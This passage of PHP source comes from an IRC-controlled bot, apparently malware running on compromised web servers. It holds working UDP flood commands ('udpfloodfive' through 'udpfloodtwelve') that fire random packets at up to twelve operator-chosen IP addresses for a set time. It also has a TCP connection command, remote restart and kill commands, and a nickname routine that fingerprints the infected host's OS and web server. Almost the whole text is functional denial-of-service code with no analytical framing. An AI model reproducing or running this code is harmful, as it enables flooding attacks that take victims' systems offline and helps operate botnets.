$fp3 = fsockopen("udp://".$host3,$port,$e,$s,5);
$fp4 = fsockopen("udp://".$host4,$port,$e,$s,5);
while(true)
{
fwrite($fp1,$packet);
fflush($fp1);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp2,$packet);
fflush($fp2);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp3,$packet);
fflush($fp3);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp4,$packet);
fflush($fp4);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
}
fclose($fp1);
fclose($fp2);
fclose($fp3);
fclose($fp4);
}
$env = $i * $packetsize;
$env = $env / 1048576;
$vel = $env / $time;
$vel = round($vel);
$env = round($env);
$this->privmsg($this->config['chan'], "9[\2MultiFlood\2]0[\211A3t4t5a6c7k on9 Hosts:11 ".$host1."13 ".$host2."7 ".$host3."4 ".$host4."14 Using Port4 ".$port."14 Has Ended!\2]10: ".$env." MB sent / Average: ".$vel." Packets/s ");
} else {$this->notice($nick, "USAGE: ".$mcmd[0]." <ip1> <ip2> <ip3> <ip4> <port> <time> <size>");}
break;
case "udpfloodfive":
if ($mcmd[7] > $this->config['maxtime']) {
$this->notice($nick, "0[\20Max Time is ".$this->config['maxtime']."!0\2]");
break;
}
elseif ($mcmd[8] > $this->config['maxsize']) {
$this->notice($nick, "0[\20Max Size is ".$this->config['maxsize']."!0\2]");
break;
}
if(count($mcmd)>8) {
$host1 = $mcmd[1];
$host2 = $mcmd[2];
$host3 = $mcmd[3];
$host4 = $mcmd[4];
$host5 = $mcmd[5];
$port = $mcmd[6];
$time = $mcmd[7];
$packetsize = $mcmd[8];
$this->privmsg($this->config['chan'], "9[\2MultiFlood\2]0[\211A3t4t5a6c7k 8S9t10a11r12t13e14d on9 Hosts:11 ".$host1."13 ".$host2."7 ".$host3."4 ".$host4."3 ".$host5."14 Using Port4 ".$port."14 For3 ".$time."sec!\20]");
$packet = "";
for($i=0;$i<$packetsize;$i++) { $packet .= chr(rand(1,256)); }
$end = time() + $time;
{
$fp1 = fsockopen("udp://".$host1,$port,$e,$s,5);
$fp2 = fsockopen("udp://".$host2,$port,$e,$s,5);
$fp3 = fsockopen("udp://".$host3,$port,$e,$s,5);
$fp4 = fsockopen("udp://".$host4,$port,$e,$s,5);
$fp5 = fsockopen("udp://".$host5,$port,$e,$s,5);
while(true)
{
fwrite($fp1,$packet);
fflush($fp1);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp2,$packet);
fflush($fp2);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp3,$packet);
fflush($fp3);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp4,$packet);
fflush($fp4);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp5,$packet);
fflush($fp5);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
}
fclose($fp1);
fclose($fp2);
fclose($fp3);
fclose($fp4);
fclose($fp5);
}
$env = $i * $packetsize;
$env = $env / 1048576;
$vel = $env / $time;
$vel = round($vel);
$env = round($env);
$this->privmsg($this->config['chan'], "9[\2MultiFlood\2]0[\211A3t4t5a6c7k on9 Hosts:11 ".$host1."13 ".$host2."7 ".$host3."4 ".$host4."3 ".$host5."14 Using Port4 ".$port."14 Has Ended!\2]10: ".$env." MB sent / Average: ".$vel." Packets/s ");
} else {$this->notice($nick, "USAGE: ".$mcmd[0]." <ip1> <ip2> <ip3> <ip4> <ip5> <port> <time> <size>");}
break;
case "udpfloodsix":
if ($mcmd[8] > $this->config['maxtime']) {
$this->notice($nick, "0[\20Max Time is ".$this->config['maxtime']."!0\2]");
break;
}
elseif ($mcmd[9] > $this->config['maxsize']) {
$this->notice($nick, "0[\20Max Size is ".$this->config['maxsize']."!0\2]");
break;
}
if(count($mcmd)>9) {
$host1 = $mcmd[1];
$host2 = $mcmd[2];
$host3 = $mcmd[3];
$host4 = $mcmd[4];
$host5 = $mcmd[5];
$host6 = $mcmd[6];
$port = $mcmd[7];
$time = $mcmd[8];
$packetsize = $mcmd[9];
$this->privmsg($this->config['chan'], "9[\2MultiFlood\2]0[\211A3t4t5a6c7k 8S9t10a11r12t13e14d on9 Hosts:11 ".$host1."13 ".$host2."7 ".$host3."4 ".$host4."3 ".$host5."0 ".$host6."14 Using Port4 ".$port."14 For3 ".$time."sec!\20]");
$packet = "";
for($i=0;$i<$packetsize;$i++) { $packet .= chr(rand(1,256)); }
$end = time() + $time;
{
$fp1 = fsockopen("udp://".$host1,$port,$e,$s,5);
$fp2 = fsockopen("udp://".$host2,$port,$e,$s,5);
$fp3 = fsockopen("udp://".$host3,$port,$e,$s,5);
$fp4 = fsockopen("udp://".$host4,$port,$e,$s,5);
$fp5 = fsockopen("udp://".$host5,$port,$e,$s,5);
$fp6 = fsockopen("udp://".$host6,$port,$e,$s,5);
while(true)
{
fwrite($fp1,$packet);
fflush($fp1);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp2,$packet);
fflush($fp2);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp3,$packet);
fflush($fp3);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp4,$packet);
fflush($fp4);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp5,$packet);
fflush($fp5);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp6,$packet);
fflush($fp6);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
}
fclose($fp1);
fclose($fp2);
fclose($fp3);
fclose($fp4);
fclose($fp5);
fclose($fp6);
}
$env = $i * $packetsize;
$env = $env / 1048576;
$vel = $env / $time;
$vel = round($vel);
$env = round($env);
$this->privmsg($this->config['chan'], "9[\2MultiFlood\2]0[\211A3t4t5a6c7k on9 Hosts:11 ".$host1."13 ".$host2."7 ".$host3."4 ".$host4."3 ".$host5."0 ".$host6."14 Using Port4 ".$port."14 Has Ended!\2]10: ".$env." MB sent / Average: ".$vel." Packets/s ");
} else {$this->notice($nick, "USAGE: ".$mcmd[0]." <ip1> <ip2> <ip3> <ip4> <ip5> <ip6> <port> <time> <size>");}
break;
case "udpfloodseven":
if ($mcmd[9] > $this->config['maxtime']) {
$this->notice($nick, "0[\20Max Time is ".$this->config['maxtime']."!0\2]");
break;
}
elseif ($mcmd[10] > $this->config['maxsize']) {
$this->notice($nick, "0[\20Max Size is ".$this->config['maxsize']."!0\2]");
break;
}
if(count($mcmd)>10) {
$host1 = $mcmd[1];
$host2 = $mcmd[2];
$host3 = $mcmd[3];
$host4 = $mcmd[4];
$host5 = $mcmd[5];
$host6 = $mcmd[6];
$host7 = $mcmd[7];
$port = $mcmd[8];
$time = $mcmd[9];
$packetsize = $mcmd[10];
$this->privmsg($this->config['chan'], "9[\2MultiFlood\2]0[\211A3t4t5a6c7k 8S9t10a11r12t13e14d on9 Hosts:11 ".$host1."13 ".$host2."7 ".$host3."4 ".$host4."3 ".$host5."0 ".$host6."15 ".$host7."14 Using Port4 ".$port."14 For3 ".$time."sec!\20]");
$packet = "";
for($i=0;$i<$packetsize;$i++) { $packet .= chr(rand(1,256)); }
$end = time() + $time;
{
$fp1 = fsockopen("udp://".$host1,$port,$e,$s,5);
$fp2 = fsockopen("udp://".$host2,$port,$e,$s,5);
$fp3 = fsockopen("udp://".$host3,$port,$e,$s,5);
$fp4 = fsockopen("udp://".$host4,$port,$e,$s,5);
$fp5 = fsockopen("udp://".$host5,$port,$e,$s,5);
$fp6 = fsockopen("udp://".$host6,$port,$e,$s,5);
$fp7 = fsockopen("udp://".$host7,$port,$e,$s,5);
while(true)
{
fwrite($fp1,$packet);
fflush($fp1);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp2,$packet);
fflush($fp2);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp3,$packet);
fflush($fp3);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp4,$packet);
fflush($fp4);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp5,$packet);
fflush($fp5);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp6,$packet);
fflush($fp6);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp7,$packet);
fflush($fp7);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
}
fclose($fp1);
fclose($fp2);
fclose($fp3);
fclose($fp4);
fclose($fp5);
fclose($fp6);
fclose($fp7);
}
$env = $i * $packetsize;
$env = $env / 1048576;
$vel = $env / $time;
$vel = round($vel);
$env = round($env);
$this->privmsg($this->config['chan'], "9[\2MultiFlood\2]0[\211A3t4t5a6c7k on9 Hosts:11 ".$host1."13 ".$host2."7 ".$host3."4 ".$host4."3 ".$host5."0 ".$host6."15 ".$host7."14 Using Port4 ".$port."14 Has Ended!\2]10: ".$env." MB sent / Average: ".$vel." Packets/s ");
} else {$this->notice($nick, "USAGE: ".$mcmd[0]." <ip1> <ip2> <ip3> <ip4> <ip5> <ip6> <ip7> <port> <time> <size>");}
break;
case "udpfloodeight":
if ($mcmd[10] > $this->config['maxtime']) {
$this->notice($nick, "0[\20Max Time is ".$this->config['maxtime']."!0\2]");
break;
}
elseif ($mcmd[11] > $this->config['maxsize']) {
$this->notice($nick, "0[\20Max Size is ".$this->config['maxsize']."!0\2]");
break;
}
if(count($mcmd)>11) {
$host1 = $mcmd[1];
$host2 = $mcmd[2];
$host3 = $mcmd[3];
$host4 = $mcmd[4];
$host5 = $mcmd[5];
$host6 = $mcmd[6];
$host7 = $mcmd[7];
$host8 = $mcmd[8];
$port = $mcmd[9];
$time = $mcmd[10];
$packetsize = $mcmd[11];
$this->privmsg($this->config['chan'], "9[\2MultiFlood\2]0[\211A3t4t5a6c7k 8S9t10a11r12t13e14d on9 Hosts:11 ".$host1."13 ".$host2."7 ".$host3."4 ".$host4."3 ".$host5."0 ".$host6."15 ".$host7."6 ".$host8."14 Using Port4 ".$port."14 For3 ".$time."sec!\20]");
$packet = "";
for($i=0;$i<$packetsize;$i++) { $packet .= chr(rand(1,256)); }
$end = time() + $time;
{
$fp1 = fsockopen("udp://".$host1,$port,$e,$s,5);
$fp2 = fsockopen("udp://".$host2,$port,$e,$s,5);
$fp3 = fsockopen("udp://".$host3,$port,$e,$s,5);
$fp4 = fsockopen("udp://".$host4,$port,$e,$s,5);
$fp5 = fsockopen("udp://".$host5,$port,$e,$s,5);
$fp6 = fsockopen("udp://".$host6,$port,$e,$s,5);
$fp7 = fsockopen("udp://".$host7,$port,$e,$s,5);
$fp8 = fsockopen("udp://".$host8,$port,$e,$s,5);
while(true)
{
fwrite($fp1,$packet);
fflush($fp1);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp2,$packet);
fflush($fp2);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp3,$packet);
fflush($fp3);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp4,$packet);
fflush($fp4);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp5,$packet);
fflush($fp5);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp6,$packet);
fflush($fp6);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp7,$packet);
fflush($fp7);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp8,$packet);
fflush($fp8);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
}
fclose($fp1);
fclose($fp2);
fclose($fp3);
fclose($fp4);
fclose($fp5);
fclose($fp6);
fclose($fp7);
fclose($fp8);
}
$env = $i * $packetsize;
$env = $env / 1048576;
$vel = $env / $time;
$vel = round($vel);
$env = round($env);
$this->privmsg($this->config['chan'], "9[\2MultiFlood\2]0[\211A3t4t5a6c7k on9 Hosts:11 ".$host1."13 ".$host2."7 ".$host3."4 ".$host4."3 ".$host5."0 ".$host6."15 ".$host7."6 ".$host8."14 Using Port4 ".$port."14 Has Ended!\2]10: ".$env." MB sent / Average: ".$vel." Packets/s ");
} else {$this->notice($nick, "USAGE: ".$mcmd[0]." <ip1> <ip2> <ip3> <ip4> <ip5> <ip6> <ip7> <ip8> <port> <time> <size>");}
break;
case "udpfloodnine":
if ($mcmd[11] > $this->config['maxtime']) {
$this->notice($nick, "0[\20Max Time is ".$this->config['maxtime']."!0\2]");
break;
}
elseif ($mcmd[12] > $this->config['maxsize']) {
$this->notice($nick, "0[\20Max Size is ".$this->config['maxsize']."!0\2]");
break;
}
if(count($mcmd)>12) {
$host1 = $mcmd[1];
$host2 = $mcmd[2];
$host3 = $mcmd[3];
$host4 = $mcmd[4];
$host5 = $mcmd[5];
$host6 = $mcmd[6];
$host7 = $mcmd[7];
$host8 = $mcmd[8];
$host9 = $mcmd[9];
$port = $mcmd[10];
$time = $mcmd[11];
$packetsize = $mcmd[12];
$this->privmsg($this->config['chan'], "9[\2MultiFlood\2]0[\211A3t4t5a6c7k 8S9t10a11r12t13e14d on9 Hosts:11 ".$host1."13 ".$host2."7 ".$host3."4 ".$host4."3 ".$host5."0 ".$host6."15 ".$host7."6 ".$host8."11 ".$host9."14 Using Port4 ".$port."14 For3 ".$time."sec!\20]");
$packet = "";
for($i=0;$i<$packetsize;$i++) { $packet .= chr(rand(1,256)); }
$end = time() + $time;
{
$fp1 = fsockopen("udp://".$host1,$port,$e,$s,5);
$fp2 = fsockopen("udp://".$host2,$port,$e,$s,5);
$fp3 = fsockopen("udp://".$host3,$port,$e,$s,5);
$fp4 = fsockopen("udp://".$host4,$port,$e,$s,5);
$fp5 = fsockopen("udp://".$host5,$port,$e,$s,5);
$fp6 = fsockopen("udp://".$host6,$port,$e,$s,5);
$fp7 = fsockopen("udp://".$host7,$port,$e,$s,5);
$fp8 = fsockopen("udp://".$host8,$port,$e,$s,5);
$fp9 = fsockopen("udp://".$host9,$port,$e,$s,5);
while(true)
{
fwrite($fp1,$packet);
fflush($fp1);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp2,$packet);
fflush($fp2);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp3,$packet);
fflush($fp3);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp4,$packet);
fflush($fp4);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp5,$packet);
fflush($fp5);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp6,$packet);
fflush($fp6);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp7,$packet);
fflush($fp7);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp8,$packet);
fflush($fp8);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp9,$packet);
fflush($fp9);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
}
fclose($fp1);
fclose($fp2);
fclose($fp3);
fclose($fp4);
fclose($fp5);
fclose($fp6);
fclose($fp7);
fclose($fp8);
fclose($fp9);
}
$env = $i * $packetsize;
$env = $env / 1048576;
$vel = $env / $time;
$vel = round($vel);
$env = round($env);
$this->notice($nick, "9[\2MultiFlood\2]0[\211A3t4t5a6c7k on9 Hosts:11 ".$host1."13 ".$host2."7 ".$host3."4 ".$host4."3 ".$host5."0 ".$host6."15 ".$host7."6 ".$host8."11 ".$host9."14 Using Port4 ".$port."14 Has Ended!\2]10: ".$env." MB sent / Average: ".$vel." Packets/s ");
} else {$this->notice($nick, "USAGE: ".$mcmd[0]." <ip1> <ip2> <ip3> <ip4> <ip5> <ip6> <ip7> <ip8> <ip9> <port> <time> <size>");}
break;
case "udpfloodten":
if ($mcmd[12] > $this->config['maxtime']) {
$this->notice($nick, "0[\20Max Time is ".$this->config['maxtime']."!0\2]");
break;
}
elseif ($mcmd[13] > $this->config['maxsize']) {
$this->notice($nick, "0[\20Max Size is ".$this->config['maxsize']."!0\2]");
break;
}
if(count($mcmd)>13) {
$host1 = $mcmd[1];
$host2 = $mcmd[2];
$host3 = $mcmd[3];
$host4 = $mcmd[4];
$host5 = $mcmd[5];
$host6 = $mcmd[6];
$host7 = $mcmd[7];
$host8 = $mcmd[8];
$host9 = $mcmd[9];
$host10 = $mcmd[10];
$port = $mcmd[11];
$time = $mcmd[12];
$packetsize = $mcmd[13];
$this->privmsg($this->config['chan'], "9[\2MultiFlood\2]0[\211A3t4t5a6c7k 8S9t10a11r12t13e14d on9 Hosts:11 ".$host1."13 ".$host2."7 ".$host3."4 ".$host4."3 ".$host5."0 ".$host6."15 ".$host7."6 ".$host8."11 ".$host9."2 ".$host10."14 Using Port4 ".$port."14 For3 ".$time."sec!\20]");
$packet = "";
for($i=0;$i<$packetsize;$i++) { $packet .= chr(rand(1,256)); }
$end = time() + $time;
{
$fp1 = fsockopen("udp://".$host1,$port,$e,$s,5);
$fp2 = fsockopen("udp://".$host2,$port,$e,$s,5);
$fp3 = fsockopen("udp://".$host3,$port,$e,$s,5);
$fp4 = fsockopen("udp://".$host4,$port,$e,$s,5);
$fp5 = fsockopen("udp://".$host5,$port,$e,$s,5);
$fp6 = fsockopen("udp://".$host6,$port,$e,$s,5);
$fp7 = fsockopen("udp://".$host7,$port,$e,$s,5);
$fp8 = fsockopen("udp://".$host8,$port,$e,$s,5);
$fp9 = fsockopen("udp://".$host9,$port,$e,$s,5);
$fp10 = fsockopen("udp://".$host10,$port,$e,$s,5);
while(true)
{
fwrite($fp1,$packet);
fflush($fp1);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp2,$packet);
fflush($fp2);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp3,$packet);
fflush($fp3);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp4,$packet);
fflush($fp4);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp5,$packet);
fflush($fp5);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp6,$packet);
fflush($fp6);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp7,$packet);
fflush($fp7);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp8,$packet);
fflush($fp8);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp9,$packet);
fflush($fp9);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp10,$packet);
fflush($fp10);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
}
fclose($fp1);
fclose($fp2);
fclose($fp3);
fclose($fp4);
fclose($fp5);
fclose($fp6);
fclose($fp7);
fclose($fp8);
fclose($fp9);
fclose($fp10);
}
$env = $i * $packetsize;
$env = $env / 1048576;
$vel = $env / $time;
$vel = round($vel);
$env = round($env);
$this->notice($nick, "9[\2MultiFlood\2]0[\211A3t4t5a6c7k on9 Hosts:11 ".$host1."13 ".$host2."7 ".$host3."4 ".$host4."3 ".$host5."0 ".$host6."15 ".$host7."6 ".$host8."11 ".$host9."2 ".$host10."14 Using Port4 ".$port."14 Has Ended!\2]10: ".$env." MB sent / Average: ".$vel." Packets/s ");
} else {$this->notice($nick, "USAGE: ".$mcmd[0]." <ip1> <ip2> <ip3> <ip4> <ip5> <ip6> <ip7> <ip8> <ip9> <ip10> <port> <time> <size>");}
break;
case "udpfloodeleven":
if ($mcmd[13] > $this->config['maxtime']) {
$this->notice($nick, "0[\20Max Time is ".$this->config['maxtime']."!0\2]");
break;
}
elseif ($mcmd[14] > $this->config['maxsize']) {
$this->notice($nick, "0[\20Max Size is ".$this->config['maxsize']."!0\2]");
break;
}
if(count($mcmd)>14) {
$host1 = $mcmd[1];
$host2 = $mcmd[2];
$host3 = $mcmd[3];
$host4 = $mcmd[4];
$host5 = $mcmd[5];
$host6 = $mcmd[6];
$host7 = $mcmd[7];
$host8 = $mcmd[8];
$host9 = $mcmd[9];
$host10 = $mcmd[10];
$host11 = $mcmd[11];
$port = $mcmd[12];
$time = $mcmd[13];
$packetsize = $mcmd[14];
$this->privmsg($this->config['chan'], "9[\2MultiFlood\2]0[\211A3t4t5a6c7k 8S9t10a11r12t13e14d on9 Hosts:11 ".$host1."13 ".$host2."7 ".$host3."4 ".$host4."3 ".$host5."0 ".$host6."15 ".$host7."6 ".$host8."11 ".$host9."2 ".$host10."5 ".$host11."14 Using Port4 ".$port."14 For3 ".$time."sec!\20]");
$packet = "";
for($i=0;$i<$packetsize;$i++) { $packet .= chr(rand(1,256)); }
$end = time() + $time;
{
$fp1 = fsockopen("udp://".$host1,$port,$e,$s,5);
$fp2 = fsockopen("udp://".$host2,$port,$e,$s,5);
$fp3 = fsockopen("udp://".$host3,$port,$e,$s,5);
$fp4 = fsockopen("udp://".$host4,$port,$e,$s,5);
$fp5 = fsockopen("udp://".$host5,$port,$e,$s,5);
$fp6 = fsockopen("udp://".$host6,$port,$e,$s,5);
$fp7 = fsockopen("udp://".$host7,$port,$e,$s,5);
$fp8 = fsockopen("udp://".$host8,$port,$e,$s,5);
$fp9 = fsockopen("udp://".$host9,$port,$e,$s,5);
$fp10 = fsockopen("udp://".$host10,$port,$e,$s,5);
$fp11 = fsockopen("udp://".$host11,$port,$e,$s,5);
while(true)
{
fwrite($fp1,$packet);
fflush($fp1);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp2,$packet);
fflush($fp2);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp3,$packet);
fflush($fp3);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp4,$packet);
fflush($fp4);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp5,$packet);
fflush($fp5);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp6,$packet);
fflush($fp6);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp7,$packet);
fflush($fp7);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp8,$packet);
fflush($fp8);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp9,$packet);
fflush($fp9);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp10,$packet);
fflush($fp10);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp11,$packet);
fflush($fp11);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
}
fclose($fp1);
fclose($fp2);
fclose($fp3);
fclose($fp4);
fclose($fp5);
fclose($fp6);
fclose($fp7);
fclose($fp8);
fclose($fp9);
fclose($fp10);
fclose($fp11);
}
$env = $i * $packetsize;
$env = $env / 1048576;
$vel = $env / $time;
$vel = round($vel);
$env = round($env);
$this->notice($nick, "9[\2MultiFlood\2]0[\211A3t4t5a6c7k on9 Hosts:11 ".$host1."13 ".$host2."7 ".$host3."4 ".$host4."3 ".$host5."0 ".$host6."15 ".$host7."6 ".$host8."11 ".$host9."2 ".$host10."5 ".$host11."14 Using Port4 ".$port."14 Has Ended!\2]10: ".$env." MB sent / Average: ".$vel." Packets/s ");
} else {$this->notice($nick, "USAGE: ".$mcmd[0]." <ip1> <ip2> <ip3> <ip4> <ip5> <ip6> <ip7> <ip8> <ip9> <ip10> <ip11> <port> <time> <size>");}
break;
case "udpfloodtwelve":
if ($mcmd[14] > $this->config['maxtime']) {
$this->notice($nick, "0[\20Max Time is ".$this->config['maxtime']."!0\2]");
break;
}
elseif ($mcmd[15] > $this->config['maxsize']) {
$this->notice($nick, "0[\20Max Size is ".$this->config['maxsize']."!0\2]");
break;
}
if(count($mcmd)>15) {
$host1 = $mcmd[1];
$host2 = $mcmd[2];
$host3 = $mcmd[3];
$host4 = $mcmd[4];
$host5 = $mcmd[5];
$host6 = $mcmd[6];
$host7 = $mcmd[7];
$host8 = $mcmd[8];
$host9 = $mcmd[9];
$host10 = $mcmd[10];
$host11 = $mcmd[11];
$host12 = $mcmd[12];
$port = $mcmd[13];
$time = $mcmd[14];
$packetsize = $mcmd[15];
$this->privmsg($this->config['chan'], "9[\2MultiFlood\2]0[\211A3t4t5a6c7k 8S9t10a11r12t13e14d on9 Hosts:11 ".$host1."13 ".$host2."7 ".$host3."4 ".$host4."3 ".$host5."0 ".$host6."15 ".$host7."6 ".$host8."11 ".$host9."2 ".$host10."5 ".$host11."10 ".$host12."14 Using Port4 ".$port."14 For3 ".$time."sec!\20]");
$packet = "";
for($i=0;$i<$packetsize;$i++) { $packet .= chr(rand(1,256)); }
$end = time() + $time;
{
$fp1 = fsockopen("udp://".$host1,$port,$e,$s,5);
$fp2 = fsockopen("udp://".$host2,$port,$e,$s,5);
$fp3 = fsockopen("udp://".$host3,$port,$e,$s,5);
$fp4 = fsockopen("udp://".$host4,$port,$e,$s,5);
$fp5 = fsockopen("udp://".$host5,$port,$e,$s,5);
$fp6 = fsockopen("udp://".$host6,$port,$e,$s,5);
$fp7 = fsockopen("udp://".$host7,$port,$e,$s,5);
$fp8 = fsockopen("udp://".$host8,$port,$e,$s,5);
$fp9 = fsockopen("udp://".$host9,$port,$e,$s,5);
$fp10 = fsockopen("udp://".$host10,$port,$e,$s,5);
$fp11 = fsockopen("udp://".$host11,$port,$e,$s,5);
$fp12 = fsockopen("udp://".$host12,$port,$e,$s,5);
while(true)
{
fwrite($fp1,$packet);
fflush($fp1);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp2,$packet);
fflush($fp2);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp3,$packet);
fflush($fp3);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp4,$packet);
fflush($fp4);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp5,$packet);
fflush($fp5);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp6,$packet);
fflush($fp6);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp7,$packet);
fflush($fp7);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp8,$packet);
fflush($fp8);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp9,$packet);
fflush($fp9);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp10,$packet);
fflush($fp10);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp11,$packet);
fflush($fp11);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp12,$packet);
fflush($fp12);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
}
fclose($fp1);
fclose($fp2);
fclose($fp3);
fclose($fp4);
fclose($fp5);
fclose($fp6);
fclose($fp7);
fclose($fp8);
fclose($fp9);
fclose($fp10);
fclose($fp11);
fclose($fp12);
}
$env = $i * $packetsize;
$env = $env / 1048576;
$vel = $env / $time;
$vel = round($vel);
$env = round($env);
$this->notice($nick, "9[\2MultiFlood\2]0[\211A3t4t5a6c7k on9 Hosts:11 ".$host1."13 ".$host2."7 ".$host3."4 ".$host4."3 ".$host5."0 ".$host6."15 ".$host7."6 ".$host8."11 ".$host9."2 ".$host10."5 ".$host11."10 ".$host12."14 Using Port4 ".$port."14 Has Ended!\2]10: ".$env." MB sent / Average: ".$vel." Packets/s ");
} else {$this->notice($nick, "USAGE: ".$mcmd[0]." <ip1> <ip2> <ip3> <ip4> <ip5> <ip6> <ip7> <ip8> <ip9> <ip10> <ip11> <ip12> <port> <time> <size>");}
break;
case "tcpconn":
if(count($mcmd)>3) { $this->tcp($mcmd[1],$mcmd[2],$mcmd[3]);
}
break;
case "botrestart":
if (!in_array($nick, $this->adminconfig)) {
$this->notice($nick, "0[\20This Command is Restricted to Admins!0\2]");
break;
}
if(count($mcmd)>0){
$this->send("QUIT :Restarting!");
fclose($this->conn);
$this->start();
} else {
$this->privmsg($this->config['chan'], "USAGE: ".$mcmd[0]."");
}
break;
case "botdie":
if (!in_array($nick, $this->adminconfig)) {
$this->notice($nick, "0[\20This Command is Restricted to Admins!0\2]");
break;
}
if(count($mcmd)>0){
$this->send("QUIT :Stopping!");
fclose($this->conn);
exit();
} else {
$this->privmsg($this->config['chan'], "USAGE: ".$mcmd[0]."");
}
break;
}
}
break;
}
}
}
}
}
function send($msg) {
fwrite($this->conn,$msg."\r\n");
}
function join($chan,$key=NULL) {
$this->send("JOIN ".$chan." ".$key);
}
function auth($chan) {
$this->send("PART ".$chan);
}
function privmsg($to,$msg) {
$this->send("PRIVMSG ".$to." :".$msg);
}
function notice($to,$msg) {
$this->send("NOTICE ".$to." :".$msg);
}
function set_nick() {
if(strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') { $OS = "Windows";} else {$OS = "Linux";}
if(isset($_SERVER['SERVER_SOFTWARE']))
{
if(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"apache"))
$this->nick = "[A]";
elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"iis"))
$this->nick = "[I]";
elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"xitami"))
$this->nick = "[X]";
else
$this->nick = "[U]";
}
else
{
$this->nick = "[C]";
}
$prefix = "[".$OS."]".$this->nick."[".$this->config['prefix']."]|%s";
$nickk = substr(str_shuffle("1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ"), 0, $this->config['maxrand']);
$this->nick = sprintf($prefix, $nickk);
$this->send("NICK ".$this->nick);
}
function tcp($host,$port,$time) {
